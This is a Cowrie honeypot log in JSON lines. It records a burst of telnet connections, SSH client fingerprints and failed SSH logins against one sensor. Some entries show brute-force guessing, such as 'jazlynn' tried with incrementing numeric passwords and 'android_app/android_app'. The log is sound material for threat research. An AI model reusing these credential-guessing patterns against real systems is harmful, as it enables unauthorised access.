{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35524,"dst_ip":"159.203.135.109","dst_port":23,"session":"25673d7654d1","protocol":"telnet","message":"New connection: 209.159.146.115:35524 (159.203.135.109:23) [session: 25673d7654d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:19.165703Z"}
{"eventid":"cowrie.session.closed","duration":37.65727996826172,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:19.356958Z","src_ip":"209.159.146.115","session":"c7474faa7aac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.96195912361145,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:20.375968Z","src_ip":"209.159.146.115","session":"5e0dc9e5aa5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35642,"dst_ip":"159.203.135.109","dst_port":23,"session":"68e17468f689","protocol":"telnet","message":"New connection: 209.159.146.115:35642 (159.203.135.109:23) [session: 68e17468f689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:22.228719Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43666,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43f62b0eddd","protocol":"telnet","message":"New connection: 209.159.146.115:43666 (159.203.135.109:23) [session: a43f62b0eddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:22.377094Z"}
{"eventid":"cowrie.session.closed","duration":33.214158058166504,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:23.105337Z","src_ip":"209.159.146.115","session":"4cca1395c3f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.48022985458374,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:23.709150Z","src_ip":"209.159.146.115","session":"012b301106a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50478,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d69ec07d694","protocol":"telnet","message":"New connection: 209.159.146.115:50478 (159.203.135.109:23) [session: 8d69ec07d694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:24.073030Z"}
{"eventid":"cowrie.session.closed","duration":35.295846700668335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:24.415722Z","src_ip":"209.159.146.115","session":"f824773d8af6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143187046051025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:24.567042Z","src_ip":"209.159.146.115","session":"3933e07d7fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.443920850753784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:25.308654Z","src_ip":"209.159.146.115","session":"673715ce49d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.93914866447449,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:26.681863Z","src_ip":"209.159.146.115","session":"bee2b7a56392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59590,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b8482ed7f8b","protocol":"telnet","message":"New connection: 209.159.146.115:59590 (159.203.135.109:23) [session: 0b8482ed7f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:27.221779Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60950,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dbdb9327e22","protocol":"telnet","message":"New connection: 209.159.146.115:60950 (159.203.135.109:23) [session: 8dbdb9327e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:27.683816Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34164,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f591692e79f","protocol":"telnet","message":"New connection: 209.159.146.115:34164 (159.203.135.109:23) [session: 7f591692e79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:28.219146Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36620,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e37fa30f197","protocol":"telnet","message":"New connection: 209.159.146.115:36620 (159.203.135.109:23) [session: 8e37fa30f197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:28.982043Z"}
{"eventid":"cowrie.session.closed","duration":36.682021141052246,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:29.136178Z","src_ip":"209.159.146.115","session":"41202efe23c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.800193071365356,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:29.220477Z","src_ip":"209.159.146.115","session":"3b20e47f0d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56192,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cdcf00eaa98","protocol":"telnet","message":"New connection: 209.159.146.115:56192 (159.203.135.109:23) [session: 3cdcf00eaa98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:29.225104Z"}
{"eventid":"cowrie.session.closed","duration":33.31489324569702,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:29.527705Z","src_ip":"209.159.146.115","session":"c99c15dff516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42542,"dst_ip":"159.203.135.109","dst_port":23,"session":"d02b77b844d8","protocol":"telnet","message":"New connection: 209.159.146.115:42542 (159.203.135.109:23) [session: d02b77b844d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:29.785839Z"}
{"eventid":"cowrie.session.closed","duration":34.68309426307678,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:29.904900Z","src_ip":"209.159.146.115","session":"51f2608fc004","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113455772399902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:30.200292Z","src_ip":"209.159.146.115","session":"283e1671a2d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34950137138367,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:30.541414Z","src_ip":"209.159.146.115","session":"f79d9103aec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.44716453552246,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:30.791133Z","src_ip":"209.159.146.115","session":"64343d6195cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53558,"dst_ip":"159.203.135.109","dst_port":23,"session":"a280ec365aaf","protocol":"telnet","message":"New connection: 209.159.146.115:53558 (159.203.135.109:23) [session: a280ec365aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:31.770692Z"}
{"eventid":"cowrie.session.closed","duration":35.08150243759155,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:32.016622Z","src_ip":"209.159.146.115","session":"93cadcceeed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.48556613922119,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:32.676034Z","src_ip":"209.159.146.115","session":"6b37bc3f4504","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.16313552856445,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:33.048101Z","src_ip":"209.159.146.115","session":"f6781bb098b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47166,"dst_ip":"159.203.135.109","dst_port":22,"session":"a462d242c7f0","protocol":"ssh","message":"New connection: 159.203.92.129:47166 (159.203.135.109:22) [session: a462d242c7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:34.108257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:34.113965Z","src_ip":"159.203.92.129","session":"a462d242c7f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:34.119567Z","src_ip":"159.203.92.129","session":"a462d242c7f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"android_app","password":"android_app","message":"login attempt [android_app/android_app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:34.130648Z","src_ip":"159.203.92.129","session":"a462d242c7f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35940,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ed97d11dc9","protocol":"telnet","message":"New connection: 209.159.146.115:35940 (159.203.135.109:23) [session: 52ed97d11dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:34.145864Z"}
{"eventid":"cowrie.session.closed","duration":34.367929458618164,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:34.392550Z","src_ip":"209.159.146.115","session":"7c2f89d2e776","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":48863,"dst_ip":"159.203.135.109","dst_port":22,"session":"7659734c846b","protocol":"ssh","message":"New connection: 213.209.159.159:48863 (159.203.135.109:22) [session: 7659734c846b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:34.969185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:35.007766Z","src_ip":"213.209.159.159","session":"7659734c846b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:35.087849Z","src_ip":"213.209.159.159","session":"7659734c846b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:35.138165Z","src_ip":"159.203.92.129","session":"a462d242c7f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn","message":"login attempt [jazlynn/jazlynn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:35.454978Z","src_ip":"213.209.159.159","session":"7659734c846b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45382,"dst_ip":"159.203.135.109","dst_port":23,"session":"aed4ba976301","protocol":"telnet","message":"New connection: 209.159.146.115:45382 (159.203.135.109:23) [session: aed4ba976301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:36.132631Z"}
{"eventid":"cowrie.session.closed","duration":31.350937128067017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:36.161035Z","src_ip":"209.159.146.115","session":"086d02e393e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn1","message":"login attempt [jazlynn/jazlynn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:36.541496Z","src_ip":"213.209.159.159","session":"7659734c846b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.72528886795044,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:36.595155Z","src_ip":"209.159.146.115","session":"17c2e75075c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.14169001579285,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:37.072454Z","src_ip":"209.159.146.115","session":"ac0fa333dd94","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn123","message":"login attempt [jazlynn/jazlynn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:37.627087Z","src_ip":"213.209.159.159","session":"7659734c846b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":39110,"dst_ip":"159.203.135.109","dst_port":22,"session":"597717a18ad6","protocol":"ssh","message":"New connection: 103.180.212.135:39110 (159.203.135.109:22) [session: 597717a18ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:38.554316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:38.559660Z","src_ip":"103.180.212.135","session":"597717a18ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn1234","message":"login attempt [jazlynn/jazlynn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:38.712996Z","src_ip":"213.209.159.159","session":"7659734c846b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:38.752787Z","src_ip":"103.180.212.135","session":"597717a18ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99126052856445,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:39.140122Z","src_ip":"209.159.146.115","session":"ed74fd294bf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56722,"dst_ip":"159.203.135.109","dst_port":23,"session":"1032644756a2","protocol":"telnet","message":"New connection: 209.159.146.115:56722 (159.203.135.109:23) [session: 1032644756a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:39.240798Z"}
{"eventid":"cowrie.login.failed","username":"newftpuser","password":"newftpuser123","message":"login attempt [newftpuser/newftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:39.561067Z","src_ip":"103.180.212.135","session":"597717a18ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jazlynn","password":"jazlynn12345","message":"login attempt [jazlynn/jazlynn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:39.798302Z","src_ip":"213.209.159.159","session":"7659734c846b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.346554279327393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:39.847808Z","src_ip":"209.159.146.115","session":"5f71ccbc88a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:40.759010Z","src_ip":"103.180.212.135","session":"597717a18ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:40.883790Z","src_ip":"213.209.159.159","session":"7659734c846b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36872,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d25e37a8c7b","protocol":"telnet","message":"New connection: 209.159.146.115:36872 (159.203.135.109:23) [session: 1d25e37a8c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:41.075822Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38192,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a623254fc41","protocol":"telnet","message":"New connection: 209.159.146.115:38192 (159.203.135.109:23) [session: 2a623254fc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:41.556844Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42234,"dst_ip":"159.203.135.109","dst_port":23,"session":"00fbb5041ac0","protocol":"telnet","message":"New connection: 209.159.146.115:42234 (159.203.135.109:23) [session: 00fbb5041ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:42.684888Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46772,"dst_ip":"159.203.135.109","dst_port":23,"session":"0322de550298","protocol":"telnet","message":"New connection: 209.159.146.115:46772 (159.203.135.109:23) [session: 0322de550298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:43.866399Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47452,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f04d076022d","protocol":"telnet","message":"New connection: 209.159.146.115:47452 (159.203.135.109:23) [session: 6f04d076022d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:44.004263Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48040,"dst_ip":"159.203.135.109","dst_port":23,"session":"1267be8580c7","protocol":"telnet","message":"New connection: 209.159.146.115:48040 (159.203.135.109:23) [session: 1267be8580c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:44.086731Z"}
{"eventid":"cowrie.session.closed","duration":34.370558977127075,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:44.236644Z","src_ip":"209.159.146.115","session":"10febbc20da7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.19491910934448,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:46.323711Z","src_ip":"209.159.146.115","session":"9a1e217ca2c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34588,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd16da3c86aa","protocol":"telnet","message":"New connection: 209.159.146.115:34588 (159.203.135.109:23) [session: dd16da3c86aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:47.755795Z"}
{"eventid":"cowrie.session.closed","duration":33.4015908241272,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:49.270660Z","src_ip":"209.159.146.115","session":"217b8312b91a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46496,"dst_ip":"159.203.135.109","dst_port":23,"session":"f894c9f78c81","protocol":"telnet","message":"New connection: 209.159.146.115:46496 (159.203.135.109:23) [session: f894c9f78c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:47:50.882320Z"}
